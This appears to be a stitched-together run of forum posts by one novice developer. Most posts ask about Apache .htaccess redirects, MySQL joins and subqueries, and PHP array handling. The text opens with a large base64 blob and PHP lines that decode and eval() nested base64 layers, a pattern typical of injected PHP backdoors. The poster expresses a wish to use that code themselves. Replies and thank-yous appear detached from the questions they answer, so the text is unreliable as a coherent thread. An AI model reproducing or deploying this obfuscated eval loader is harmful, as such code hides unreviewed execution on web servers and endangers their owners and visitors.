VXhhSGRXUjBaeVUyNUdWVlpXV2t4YVJscHpZekZ3UmxwSGNGTk5TRUpHVmtkNGEyUXlSbFpOV0VaU1ZrWktWbFZyVm5kU01VNDJVVzVPVkZKdFVqRldNakYzWVVaYVZtTklXbGhYU0VKUVZrUktUMU5HVWxsalJscHBWakpvZDFkWGVGWk5WMDE0Vld0b2FsSkZOWEpaYTJoRFUxWnNjbFZyZEZaV01GcFpWa1pTVDFaR1dsaFZiR2hhVm5wR1NGVXdWVFZUUm5CR1pFZDRhV0pXUmpWV2Frb3dZVEpOZDAxWVRsSmlhMHBoV2xjeFUxTXhWWGRWYTA1cFlUTkJNbGw2U2pCV2F6RlhWbTAxVmxKck5VTlpiWFIzVTFaT2MxRnRhR2hXVlZVeFZURldhMU15UmtoVVdHeFhWa1Z3VUZWdGNITmpiR1J6V2tVNWEySklRa2xXYkdNMVV6RktkR0ZHUWxkaVIyaDVXVEJWTlU1V1JuUmxSM1JwVmxad05sVjZRazlWTWxaWFZWaHNhVTB3U2xGYVZtUk9UVEZrYzJGSFJtaFNNSEJGVjJwS01GWnJNVmRXYm1SVlRUSk5OVlZHVG1wT01IQkdUVlZTU2xKRVFtNVRibXhUWTBaSmVWVlhaRkZWTUVwd1YxWm9UMkpGTlhGVmJWcGhVakZhY1ZscVNsTmlSWFJFVld4V1UxZEdjSEpUTVZKNldqRndXVmR0YUdsUk1tUnlXVlpXYTJFd2RGVmpNalZRVFd4WmVWZFdaRE5pTUhCR1RWVlNURlpJVFRsS2VuTnJZMjFqWjFCVFFXNUtSWGhyV1hsQk9VbEhTbWhqTWxVeVRrWTVhMXBYVG5aYVIxVnZTa2hTZUZOR1kzQlBlVUpzWkcxR2MwdERVazFhUjAxd1QzbGpOMXBZV21oaVEyZHJZMjFqY0U5M1BUMG5PeVJ5VFNBOUlDY2tWMHBhSUQwZ1ltRnpaVFkwWDJSbFkyOWtaU2drZDFGTldpazdJR1YyWVd3b0pGZEtXaWs3Snp0bGRtRnNLQ1J5VFNrNyc7JHZPID0gJyRhRUMgPSBiYXNlNjRfZGVjb2RlKCR0WGtFKTsgZXZhbCgkYUVDKTsnO2V2YWwoJHZPKTs=';$xm = '$BPk = base64_decode($GBAY); eval($BPk);'; eval($xm); I'm also wishing to learn more about this type of code and how I could use it myself, I believe it's like inception or something it has amazed me.

Hi there, I'm fairly new to sever management and apache. I'm having issues with curl requests on my website and i'm been told to: However even with searching online I can see how to add the exceptions for pages ending in certain file types and not for the exception mentioned above. Here is my HTACCESS FILE: # STARTNITRO RewriteRule .* - [E=HTTP_IF_MODIFIED_SINCE:%{HTTP:If-Modified-Since}] ExpiresActive On #CSS JS XML TXT - 1 WEEK <FilesMatch "\.(xml|txt|css|js)$"> Header set Cache-Control "max-age=604800, public" ExpiresDefault "access plus 1 week" </FilesMatch> #JPG JPEG PNG GIF SWF SVG - 1 MONTH <FilesMatch "\.(jpg|jpeg|png|gif|swf|svg|JPG|JPEG|PNG|GIF|SWF|SVG)$"> Header set Cache-Control "max-age=2678400, public" ExpiresDefault "access plus 1 month" Header set Last-Modified "Wed, 05 Jun 2009 06:40:46 GMT" </FilesMatch> #OTF WOFF TTF ICO PDF FLV - 1 MONTH <FilesMatch "\.(otf|ico|pdf|flv|woff|ttf)$"> Header set Cache-Control "max-age=2678400, public" ExpiresDefault "access plus 1 month" </FilesMatch> # ENDNITRO # STARTCOMPRESSNITRO RewriteEngine On RewriteCond %{SCRIPT_FILENAME} !-d RewriteRule ^(\/?((catalog)|(assets)).+)\.css$ assets/style.php?l=4&p=$1&c=604800 [NC,L] RewriteCond %{SCRIPT_FILENAME} !-d RewriteRule ^(\/?((catalog)|(assets)).+)\.js$ assets/script.php?l=4&p=$1&c=604800 [NC,L] AddType image/svg+xml .svg AddOutputFilterByType DEFLATE image/svg+xml # ENDCOMPRESSNITRO RewriteEngine On RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R,L] # SEO URL Settings RewriteEngine On RewriteBase / RewriteRule ^sitemap.xml$ index.php?route=feed/google_sitemap [L] RewriteRule ^googlebase.xml$ index.php?route=feed/google_base [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} !.*\.(ico|gif|jpg|jpeg|png|js|css) RewriteRule ^([^?]*) index.php?_route_=$1 [L,QSA] I would really appreciate if someone could walk me through the code to modified to an the above exceptions. I believe it would be the following code I would need to edit: RewriteEngine On RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R,L] But like I mentioned i'm not entirely sure.

SELECT count(*) as accepted_in_2015 FROM team_players as tp LEFT JOIN teams_info as ti ON (ti.team_id = tp.team_id AND ti.entry_year = 2015) LEFT JOIN members as m ON (m.members_id = tp.members_id AND m.status = 1) The AND m.status = 1 is incorrect here as the status = 1 is in the team_players table. I have tried to change this too tp.status = 1; However it seems that isn't the correct way of doing this and throws an error. I assuming that this is because the tp alias will not work in the members ON(). Would I use WHERE status = 1 at the end of the mysql?

This is amazing, a great walk through for a newbie; Thank you very much for taking the time to help me out I will go away and study what each of sections do in more details.

Thank you for your explanation I have been reading upon the information you provided and it seems to make a lot more sense too me

I have three tables in my database listed below: Table: teams_info team_id team_name entry_year status 1 team 1 2015 1 2 team 2 2015 1 3 team 2 2016 1 Table: team_players player_id team_id status members_id position 1 1 0 1 1 2 1 1 2 2 3 1 1 3 3 4 1 1 4 4 5 2 0 5 1 6 2 0 6 2 7 2 1 7 3 Table: members members_id first_name surname gender 1 joe blogg male 2 james smith male 3 sarah marshall female 4 tony walker male 5 peter jones male 6 jessica varley female 7 jane varley female I'm trying to get my head around how I would get the following information, 1) How many team_players from team_info.entry_year = 2015 have accepted the to join a team (this will be all players with status = 1) 2) How many team_players from team_info.entry_year = 2015 have been invited (basically counting all records that belong to 2015 teams) 3) The total Males players from 2015 teams. 4) The total female players from 2015 teams. i'm fairly new to SQL and it seems I have made things complicated whilst trying to follow the best standards, however I can not wrap my head around where to start. Any help would be greatly appreciated.

Thank you very much;

Thank you for your response; Although I'm not only getting 1 results as if it has grouped it all up; I have three tables team_details team_players members I'm trying to get the NAP which is the 'Number of Accepted Players' which is team_player.status = 1 The first time I executed my MYSQL in got the full list on teams, their managers name, team name etc. But I need to find how many team players have accepted to join their team. I thought that the count(*) all team_players that status = 1 for that team_id would provide me this; However it seems I have done this wrong as it's now grouped everything into 1 result.

Infact I have added to the first select and now it is showing the NAP

This time it has executed fine: using: SELECT td.*, CONCAT(me.First_Name,' ', me.Surname) AS managers_full_name, me.Telephone AS managers_telephone, td.status AS status FROM `team_details` td JOIN `members` me ON me.id = td.managers_user_id JOIN (SELECT team_id, status, COUNT(*) AS nap FROM `team_players`) AS tp ON td.team_id = tp.team_id WHERE tp.status = '1' AND td.entry_year = '2016' However I do not see the NAP listed as a column which is the reason for the sub query.

My mistake I though the * would be okay, however I can see your point as this will just be the count and not the field `team_id`. Thank you.

I thought it would be fine since it was a sub query; thank you for letting me know I will give it ago now.

Hello, This is my first attempt at sql sub queries, so please excuse me if it's something very silly. Below is my sql: SELECT td.*, CONCAT(me.First_Name,' ', me.Surname) AS managers_full_name, me.Telephone AS managers_telephone, td.status AS status FROM `team_details` td JOIN `members` me ON me.id = td.managers_user_id JOIN (SELECT COUNT(*) AS nap FROM `team_players`) AS tp ON td.team_id = tp.team_id WHERE tp.status = '1' WHERE td.entry_year = '2016' The SQL executed fine before I added the second join with a sub query, now I'm getting the following error: #1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE td.entry_year = '2016' LIMIT 0, 25' at line 5 Is this not the correct way of sub querying, or have I missed something? Any help would be greatly appreciated.

Hello, I have the following function in my class: public function my_teams() { $sql = " SELECT DISTINCT(td.team_id) AS team_id, td.team_name AS team_name, CONCAT(me.First_Name,' ', me.Surname) AS managers_full_name FROM `team_details` AS td JOIN `team_players` AS tp JOIN `members` AS me ON td.managers_user_id = me.id WHERE td.managers_user_id = '" . $this->get_user_id() ."' OR tp.member_id = '" . $this->get_user_id() ."' "; $my_teams = $this->db->fetch_all_array($sql); return $my_teams; } I have three tables: team_details team_players members I'm trying to select all teams for which the USER can be the team manager `managers_user_id` and also a player `member_id` in another managers team. however it seems that my above code is only fetching the team in which the user is the manager and not the teams which the user is a player in. Is there another way of doing this? Thank you for reading.

Thank you I will look into these options now.

I have the following array: Array ( [0] => 5 [1] => 3 [2] => 2 ) I'm wanting to remove the 5 and 3 from the array but the following isn't working: unset($list['5']); Can you only unset the keys? of the array like 0 1 2?

How the second unset does not delete from the array in the foreach loop??

I'm using the following: $selected_order = min($merge_orders); // Fetch the min value order_id unset($merge_orders[$selected_order]); // Take it out of the array. $orders_list = explode(',', $this->request->post['order_id_list']); // Passed from the hidden field $removeKeys = $merge_orders; // Remove the merged order_id from the $orders_list so they do not show on the page refresh foreach ($removeKeys as $key) { unset($orders_list[$key]); echo $key; } echo print_r($orders_list);

The web store is linked into Amazon and eBay so if a customer purchases on eBay and then on Amazon the customer data is imported via an api. So two different customer_id will be created for the orders. Therefore when it comes to dispatching the two orders from eBay and Amazon the user will want to merge the data into one record to be downloaded but the two orders will have different customer_id as there have come from different marketplaces so this can not be used. The huddles in this task will most likely drive me crazy